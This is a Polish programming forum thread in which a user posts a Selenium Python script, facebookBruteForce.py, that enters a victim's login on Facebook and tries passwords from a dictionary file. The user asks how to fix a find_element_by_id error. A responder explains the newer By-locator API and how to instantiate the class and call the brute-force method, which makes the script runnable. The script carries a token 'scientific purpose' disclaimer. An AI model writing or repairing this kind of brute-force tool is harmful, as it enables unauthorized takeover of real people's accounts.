• Najnowsze pytania
  • Bez odpowiedzi
  • Zadaj pytanie
  • Kategorie
  • Tagi
  • Zdobyte punkty
  • Ekipa ninja
  • IRC
  • FAQ
  • Regulamin
  • Książki warte uwagi

jak naprawić poniższy błąd kodu?

Object Storage Arubacloud
0 głosów
336 wizyt
pytanie zadane 15 listopada 2022 w Bezpieczeństwo, hacking przez Mario11987 Nowicjusz (120 p.)
print("****************************************************************************************************")
print("BREAKING IN IS ILLEGAL!/ WŁAMYWANIE SIĘ JEST NIELEGALNE!")
print("The project was created for a scientific purpose, to check u2f operation)")
print("Projekt powstał w celu naukowym, mającym sprawdzenie działania uwierzytelniania dwu/wieloetapowego.")
print("****************************************************************************************************")
print("")
print("")
print("")
login = input('Please eneter login: ')
browser = webdriver.Chrome()
browser.get('https://www.facebook.com/login.php')


class Attack:

    def addlogin(self):
        # locate xpath and send login.
        time.sleep(2)
        self.button_cookie = browser.find_element_by_id('u_0_c_7w')
        time.sleep(0.5)
        self.button_cookie.click()
        self.button_cookie_accept = browser.find_element_by_id('u_0_j')
        time.sleep(0.5)
        self.button_cookie_accept.click()
        time.sleep(2)
        self.button_username = browser.find_element_by_xpath('//*[@id="email"]')
        self.button_username.click()
        time.sleep(0.5)
        self.button_username.send_keys(login)
        time.sleep(0.5)

    def FbBruteForceDictionary(self):
        # this function has a special task:
        # 1. Locate xpath form "password"
        # 2. Send key from dictionary.
        # 3. Locate xpath button login and click.

        login_attempt = 0
        with open("dict.txt", "r") as file:
            lines = file.readlines()
        for line in lines:
            self.button_password = browser.find_element_by_xpath('//*[@id="pass"]')
            self.button_password.click()
            time.sleep(2)
            self.button_password.send_keys(line)

            self.button_login = browser.find_element_by_xpath('//*[@id="loginbutton"]')
            self.button_login.click()
            login_attempt = login_attempt + 1
            print("____________________________________________________________")
            print(' Login attempt', login_attempt, ' with key/password : ', line)
            print("____________________________________________________________")


Please eneter login: kowalski@wp.pl
Traceback (most recent call last):
  File "C:\Users\PC\PycharmProjects\seleniumpython\facebookBruteForce.py", line 62, in <module>
    p.addlogin()
  File "C:\Users\PC\PycharmProjects\seleniumpython\facebookBruteForce.py", line 25, in addlogin
    self.button_cookie = browser.find_element_by_id('u_0_c_7w')
AttributeError: 'WebDriver' object has no attribute 'find_element_by_id'
 

Jak naprawić powyższy błąd ? Ponieważ element by id jest zmienny 

1 odpowiedź

+1 głos
odpowiedź 15 listopada 2022 przez toko Mądrala (7,270 p.)

Z tego co teraz na szybko wygooglowałem, wydaje mi się, że od którejś wersji nie ma już funkcji find_element(s)_by_*, jest tylko find_element(s)(By.{po czym chcesz szukać}, {tu wartość}). Do tego musisz zaimportować: from selenium.webdriver.common.by import By

komentarz 17 listopada 2022 przez toko Mądrala (7,270 p.)

Gdzie w kodzie masz zielony przycisk, którym odpalasz run smiley? Bo ja żadnego przycisku w kodzie nie widzę laugh.

W kodzie najpierw importujesz biblioteki, potem prosisz użytkownika o login, następnie otwierasz stronę fb i deklarujesz klasę. Nigdzie nie tworzysz obiektu klasy i nie wywołujesz funkcji addlogin ani FbBruteForceDictionary. (przy okazji: chyba cała ta klasa i funkcje nie mają sensu)

komentarz 17 listopada 2022 przez Mario11987 Nowicjusz (120 p.)

No przecież jest Pan ekspertem w Pythonie i nie wie Pan jak się odpala program nie z konsoli? laughW prawym górnym rogu w pasku menu

komentarz 17 listopada 2022 przez toko Mądrala (7,270 p.)
Nie używam do Pythona żadnego IDE i ogólnie zazwyczaj piszę w C++, ale nie chodziło mi o to jak uruchamiasz program, tylko napisałeś, że ODPALASZ W KODZIE ZIELONYM PRZYCISKIEM RUN. Żadnego przycisku w kodzie nie ma, RUN w kodzie też nie widzę, co najwyżej w jakimś IDE, w którym piszesz.

A jeśli ciągle nie wiesz co poprawić, to chyba powinieneś zrobić coś w tym stylu:

attack = Attack()
attack.addlogin()
attack.FBBr....()
komentarz 17 listopada 2022 przez Mario11987 Nowicjusz (120 p.)
Piszę w PyCharm
komentarz 8 grudnia 2022 przez Arnold4509 Użytkownik (860 p.)

@toko, Dzięki za pomoc, miałem podobny problem. Pozdrawiam :)

92,536 zapytań

141,377 odpowiedzi

319,455 komentarzy

61,922 pasjonatów

Motyw:

Akcja Pajacyk

Pajacyk od wielu lat dożywia dzieci. Pomóż klikając w zielony brzuszek na stronie. Dziękujemy! ♡

Oto polecana książka warta uwagi.
Pełną listę książek znajdziesz tutaj.

Akademia Sekuraka

Kolejna edycja największej imprezy hakerskiej w Polsce, czyli Mega Sekurak Hacking Party odbędzie się już 20 maja 2024r. Z tej okazji mamy dla Was kod: pasjamshp - jeżeli wpiszecie go w koszyku, to wówczas otrzymacie 40% zniżki na bilet w wersji standard!

Więcej informacji na temat imprezy znajdziecie tutaj. Dziękujemy ekipie Sekuraka za taką fajną zniżkę dla wszystkich Pasjonatów!

Akademia Sekuraka

Niedawno wystartował dodruk tej świetnej, rozchwytywanej książki (około 940 stron). Mamy dla Was kod: pasja (wpiszcie go w koszyku), dzięki któremu otrzymujemy 10% zniżki - dziękujemy zaprzyjaźnionej ekipie Sekuraka za taki bonus dla Pasjonatów! Książka to pierwszy tom z serii o ITsec, który łagodnie wprowadzi w świat bezpieczeństwa IT każdą osobę - warto, polecamy!

...